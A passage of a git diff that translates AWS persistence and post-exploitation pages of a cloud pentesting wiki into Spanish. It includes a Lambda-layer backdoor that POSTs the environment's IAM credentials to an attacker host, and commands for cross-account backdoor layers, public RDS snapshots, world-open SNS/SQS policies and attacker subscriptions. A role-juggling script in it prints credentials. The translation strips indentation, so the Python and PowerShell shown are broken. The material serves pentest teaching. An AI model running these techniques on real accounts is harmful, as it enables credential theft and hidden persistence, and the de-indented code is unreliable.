lambda: **`/opt/python/lib/python3.9/site-packages`**\ -Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\ -This file must: - -- Execute our payload -- Load the original csv library - -We can do both with: +- Ejecutar nuestra carga útil +- Cargar la biblioteca csv original +Podemos hacer ambas cosas con: ```python import sys from urllib import request with open("/proc/self/environ", "rb") as file: - url= "https://attacker13123344.com/" #Change this to your server - req = request.Request(url, data=file.read(), method="POST") - response = request.urlopen(req) +url= "https://attacker13123344.com/" #Change this to your server +req = request.Request(url, data=file.read(), method="POST") +response = request.urlopen(req) # Remove backdoor directory from path to load original library del_path_dir = "/".join(__file__.split("/")[:-2]) @@ -90,29 +83,27 @@ import csv as _csv sys.modules["csv"] = _csv ``` +Luego, crea un zip con este código en la ruta **`python/lib/python3.9/site-packages/__init__.py`** y agrégalo como una capa lambda. -Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer. +Puedes encontrar este código en [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) -You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) - -The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated: +El payload integrado **enviará las credenciales de IAM a un servidor LA PRIMERA VEZ que se invoque o DESPUÉS de un reinicio del contenedor lambda** (cambio de código o lambda fría), pero **otras técnicas** como las siguientes también podrían integrarse: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -### External Layers +### Capas Externas -Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\ -Also note that the **max number of layers a lambda can have is 5**. +Ten en cuenta que es posible usar **capas lambda de cuentas externas**. Además, una lambda puede usar una capa de una cuenta externa incluso si no tiene permisos.\ +También ten en cuenta que el **número máximo de capas que una lambda puede tener es 5**. -Therefore, in order to improve the versatility of this technique an attacker could: - -- Backdoor an existing layer of the user (nothing is external) -- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**. - - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda) - - The victim **won't see external layers** used with **`aws lambda list-layers`** +Por lo tanto, para mejorar la versatilidad de esta técnica, un atacante podría: +- Inyectar un backdoor en una capa existente del usuario (nada es externo) +- **Crear** una **capa** en **su cuenta**, dar acceso a la **cuenta de la víctima** para usar la capa, **configurar** la **capa** en la Lambda de la víctima y **eliminar el permiso**. +- La **Lambda** aún podrá **usar la capa** y la **víctima no** tendrá ninguna forma fácil de **descargar el código de las capas** (aparte de obtener un rev shell dentro de la lambda) +- La víctima **no verá capas externas** utilizadas con **`aws lambda list-layers`** ```bash # Upload backdoor layer aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" @@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen # Remove permissions aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 88b0d082a..d94305074 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -4,34 +4,30 @@ ## Lightsail -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} -### Download Instance SSH keys & DB passwords +### Descargar claves SSH de la instancia y contraseñas de la base de datos -They won't be changed probably so just having them is a good option for persistence +Probablemente no se cambiarán, así que tenerlas es una buena opción para la persistencia. -### Backdoor Instances +### Instancias con puerta trasera -An attacker could get access to the instances and backdoor them: +Un atacante podría acceder a las instancias y ponerles una puerta trasera: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** -- Expose a port with port knocking with a backdoor +- Usando un **rootkit** tradicional, por ejemplo +- Agregando una nueva **clave SSH pública** +- Exponer un puerto con port knocking con una puerta trasera -### DNS persistence +### Persistencia DNS -If domains are configured: +Si los dominios están configurados: -- Create a subdomain pointing your IP so you will have a **subdomain takeover** -- Create **SPF** record allowing you to send **emails** from the domain -- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones +- Crear un subdominio apuntando a tu IP para que tengas un **subdomain takeover** +- Crear un registro **SPF** que te permita enviar **emails** desde el dominio +- Configurar la **IP del dominio principal a la tuya** y realizar un **MitM** desde tu IP a las legítimas {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index b7a4b8f7b..e470b14f4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -4,32 +4,24 @@ ## RDS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -### Make instance publicly accessible: `rds:ModifyDBInstance` - -An attacker with this permission can **modify an existing RDS instance to enable public accessibility**. +### Hacer que la instancia sea accesible públicamente: `rds:ModifyDBInstance` +Un atacante con este permiso puede **modificar una instancia RDS existente para habilitar la accesibilidad pública**. ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` +### Crear un usuario administrador dentro de la DB -### Create an admin user inside the DB - -An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database. - -### Make snapshot public +Un atacante podría **crear un usuario dentro de la DB** para que incluso si se modifica la contraseña del usuario maestro, **no pierda el acceso** a la base de datos. +### Hacer la instantánea pública ```bash aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index f2c4ce048..d13b82f7b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -4,7 +4,7 @@ ## S3 -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md @@ -12,18 +12,14 @@ For more information check: ### KMS Client-Side Encryption -When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again: +Cuando se completa el proceso de cifrado, el usuario utilizará la API de KMS para generar una nueva clave (`aws kms generate-data-key`) y **almacenará la clave cifrada generada dentro de los metadatos** del archivo ([ejemplo de código en python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) para que cuando ocurra la desencriptación, pueda desencriptarla usando KMS nuevamente:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it. +Por lo tanto, un atacante podría obtener esta clave de los metadatos y desencriptar con KMS (`aws kms decrypt`) para obtener la clave utilizada para cifrar la información. De esta manera, el atacante tendrá la clave de cifrado y si esa clave se reutiliza para cifrar otros archivos, podrá usarla. ### Using S3 ACLs -Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket. +Aunque generalmente las ACL de los buckets están deshabilitadas, un atacante con suficientes privilegios podría abusar de ellas (si están habilitadas o si el atacante puede habilitarlas) para mantener el acceso al bucket de S3. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index c15f27003..396124814 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -1,57 +1,51 @@ -# AWS - Secrets Manager Persistence +# AWS - Persistencia en Secrets Manager {{#include ../../../banners/hacktricks-training.md}} ## Secrets Manager -For more info check: +Para más información, consulta: {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Via Resource Policies +### A través de Políticas de Recursos -It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**. +Es posible **otorgar acceso a secretos a cuentas externas** a través de políticas de recursos. Consulta la [**página de Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para más información. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesitará acceso a la clave KMS que encripta el secreto**. -### Via Secrets Rotate Lambda +### A través de Lambda de Rotación de Secretos -To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself. - -This is how lambda code for such action could look like: +Para **rotar secretos** automáticamente se llama a una **Lambda** configurada. Si un atacante pudiera **cambiar** el **código**, podría **exfiltrar directamente el nuevo secreto** para sí mismo. +Así es como podría verse el código de lambda para tal acción: ```python import boto3 def rotate_secrets(event, context): - # Create a Secrets Manager client - client = boto3.client('secretsmanager') +# Create a Secrets Manager client +client = boto3.client('secretsmanager') - # Retrieve the current secret value - secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - # Rotate the secret by updating its value - new_secret_value = rotate_secret(secret_value) - client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) def rotate_secret(secret_value): - # Perform the rotation logic here, e.g., generate a new password +# Perform the rotation logic here, e.g., generate a new password - # Example: Generate a new password - new_secret_value = generate_password() +# Example: Generate a new password +new_secret_value = generate_password() - return new_secret_value +return new_secret_value def generate_password(): - # Example: Generate a random password using the secrets module - import secrets - import string - password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) - return password +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 8e97cc81c..4fb5d97db 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,74 +12,66 @@ For more information check: ### Persistence -When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**: - +Al crear un **tema SNS**, necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\ +La siguiente política le da a todos en AWS acceso para leer y escribir en el tema SNS llamado **`MySNS.fifo`**: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__default_statement_ID", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "SNS:Publish", - "SNS:RemovePermission", - "SNS:SetTopicAttributes", - "SNS:DeleteTopic", - "SNS:ListSubscriptionsByTopic", - "SNS:GetTopicAttributes", - "SNS:AddPermission", - "SNS:Subscribe" - ], - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", - "Condition": { - "StringEquals": { - "AWS:SourceOwner": "318142138553" - } - } - }, - { - "Sid": "__console_pub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Publish", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - }, - { - "Sid": "__console_sub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Subscribe", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] } ``` +### Crear Suscriptores -### Create Subscribers - -To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**. - -Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used. +Para continuar exfiltrando todos los mensajes de todos los temas, el atacante podría **crear suscriptores para todos los temas**. +Tenga en cuenta que si el **tema es de tipo FIFO**, solo se pueden utilizar suscriptores que usen el protocolo **SQS**. ```bash aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 88f396173..7921a2ea6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -4,40 +4,34 @@ ## SQS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Using resource policy - -In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**: +### Usando política de recursos +En SQS, necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\ +La siguiente política le da a todos en AWS acceso a todo en la cola llamada **MyTestQueue**: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__owner_statement", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": ["SQS:*"], - "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] } ``` - > [!NOTE] -> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Podrías incluso **activar un Lambda en la cuenta del atacante cada vez que se coloca un nuevo mensaje** en la cola (tendrías que volver a colocarlo) de alguna manera. Para esto, sigue estas instrucciones: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index c1b9a422b..3bd0aae28 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1,6 +1 @@ # AWS - SSM Perssitence - - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 4e8c120ff..ed58e994a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -1,25 +1,21 @@ -# AWS - Step Functions Persistence +# AWS - Persistencia de Step Functions {{#include ../../../banners/hacktricks-training.md}} ## Step Functions -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Step function Backdooring +### Puerta trasera en funciones de paso -Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps. +Poner una puerta trasera en una función de paso para que realice cualquier truco de persistencia, de modo que cada vez que se ejecute, ejecute tus pasos maliciosos. -### Backdooring aliases +### Puertas traseras en alias -If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function. +Si la cuenta de AWS está utilizando alias para llamar a las funciones de paso, sería posible modificar un alias para usar una nueva versión con puerta trasera de la función de paso. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 74db04bec..f2b6ca136 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -4,62 +4,59 @@ ## STS -For more information access: +Para más información accede a: {{#ref}} ../aws-services/aws-sts-enum.md {{#endref}} -### Assume role token +### Token de rol asumido -Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence. +Los tokens temporales no se pueden listar, por lo que mantener un token temporal activo es una forma de mantener la persistencia.
aws sts get-session-token --duration-seconds 129600
 
-# With MFA
+# Con MFA
 aws sts get-session-token \
-    --serial-number <mfa-device-name> \
-    --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
 
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# El nombre del dispositivo de hardware suele ser el número de la parte posterior del dispositivo, como GAHT12345678
+# El nombre del dispositivo SMS es el ARN en AWS, como arn:aws:iam::123456789012:sms-mfa/username
+# El nombre del dispositivo virtual es el ARN en AWS, como arn:aws:iam::123456789012:mfa/username
 
-### Role Chain Juggling +### Malabarismo de Cadenas de Roles -[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials. - -You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going: +[**El encadenamiento de roles es una característica reconocida de AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), a menudo utilizada para mantener la persistencia sigilosa. Implica la capacidad de **asumir un rol que luego asume otro**, potencialmente volviendo al rol inicial de manera **cíclica**. Cada vez que se asume un rol, se actualiza el campo de expiración de las credenciales. En consecuencia, si dos roles están configurados para asumir mutuamente el uno al otro, esta configuración permite la renovación perpetua de credenciales. +Puedes usar esta [**herramienta**](https://github.com/hotnops/AWSRoleJuggler/) para mantener el encadenamiento de roles: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] optional arguments: - -h, --help show this help message and exit - -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] +-h, --help show this help message and exit +-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` - > [!CAUTION] -> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured. +> Tenga en cuenta que el script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ese repositorio de Github no encuentra todas las formas en que se puede configurar una cadena de roles.
-Code to perform Role Juggling from PowerShell - +Código para realizar Role Juggling desde PowerShell ```powershell # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) { - Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." - exit +Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." +exit } # Function to list IAM roles function List-IAMRoles { - aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json +aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json } # Initialize error count @@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json # Attempt to assume each role foreach ($role in $roles) { - $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($credentials) { - Write-Host "Successfully assumed role: $($role.RoleName)" - Write-Host "Access Key: $($credentials.AccessKeyId)" - Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" - Write-Host "Session Token: $($credentials.SessionToken)" - Write-Host "Expiration: $($credentials.Expiration)" +$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($credentials) { +Write-Host "Successfully assumed role: $($role.RoleName)" +Write-Host "Access Key: $($credentials.AccessKeyId)" +Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" +Write-Host "Session Token: $($credentials.SessionToken)" +Write-Host "Expiration: $($credentials.Expiration)" - # Set temporary credentials to assume the next role - $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId - $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey - $env:AWS_SESSION_TOKEN = $credentials.SessionToken +# Set temporary credentials to assume the next role +$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId +$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey +$env:AWS_SESSION_TOKEN = $credentials.SessionToken - # Try to assume another role using the temporary credentials - foreach ($nextRole in $roles) { - if ($nextRole.Arn -ne $role.Arn) { - $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($nextCredentials) { - Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" - Write-Host "Access Key: $($nextCredentials.AccessKeyId)" - Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" - Write-Host "Session Token: $($nextCredentials.SessionToken)" - Write-Host "Expiration: $($nextCredentials.Expiration)" - } - } catch { - $errorCount++ - } - } - } +# Try to assume another role using the temporary credentials +foreach ($nextRole in $roles) { +if ($nextRole.Arn -ne $role.Arn) { +$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($nextCredentials) { +Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" +Write-Host "Access Key: $($nextCredentials.AccessKeyId)" +Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" +Write-Host "Session Token: $($nextCredentials.SessionToken)" +Write-Host "Expiration: $($nextCredentials.Expiration)" +} +} catch { +$errorCount++ +} +} +} - # Reset environment variables - Remove-Item Env:\AWS_ACCESS_KEY_ID - Remove-Item Env:\AWS_SECRET_ACCESS_KEY - Remove-Item Env:\AWS_SESSION_TOKEN - } else { - $errorCount++ - } - } catch { - $errorCount++ - } +# Reset environment variables +Remove-Item Env:\AWS_ACCESS_KEY_ID +Remove-Item Env:\AWS_SECRET_ACCESS_KEY +Remove-Item Env:\AWS_SESSION_TOKEN +} else { +$errorCount++ +} +} catch { +$errorCount++ +} } # Output the number of errors if any if ($errorCount -gt 0) { - Write-Host "$errorCount error(s) occurred during role assumption attempts." +Write-Host "$errorCount error(s) occurred during role assumption attempts." } else { - Write-Host "No errors occurred. All roles checked successfully." +Write-Host "No errors occurred. All roles checked successfully." } Write-Host "Role juggling check complete." ``` -
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md index 53f79d916..9779204c1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md @@ -1,6 +1 @@ -# AWS - Post Exploitation - - - - - +# AWS - Post Explotación diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 4847c40e0..b284a9fb4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -1,51 +1,46 @@ -# AWS - API Gateway Post Exploitation +# AWS - API Gateway Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## API Gateway -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Access unexposed APIs +### Acceso a APIs no expuestas -You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ -Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before. +Puedes crear un endpoint en [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con el servicio `com.amazonaws.us-east-1.execute-api`, exponer el endpoint en una red a la que tengas acceso (potencialmente a través de una máquina EC2) y asignar un grupo de seguridad que permita todas las conexiones.\ +Luego, desde la máquina EC2 podrás acceder al endpoint y, por lo tanto, llamar a la API del gateway que no estaba expuesta anteriormente. ### Bypass Request body passthrough -This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). +Esta técnica se encontró en [**este informe de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation. - -Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`: +Como se indica en la [**documentación de AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) en la sección `PassthroughBehavior`, por defecto, el valor **`WHEN_NO_MATCH`**, al verificar el encabezado **Content-Type** de la solicitud, pasará la solicitud al backend sin transformación. +Por lo tanto, en el CTF, el API Gateway tenía una plantilla de integración que **estaba impidiendo que la bandera fuera exfiltrada** en una respuesta cuando se enviaba una solicitud con `Content-Type: application/json`: ```yaml RequestTemplates: - application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not 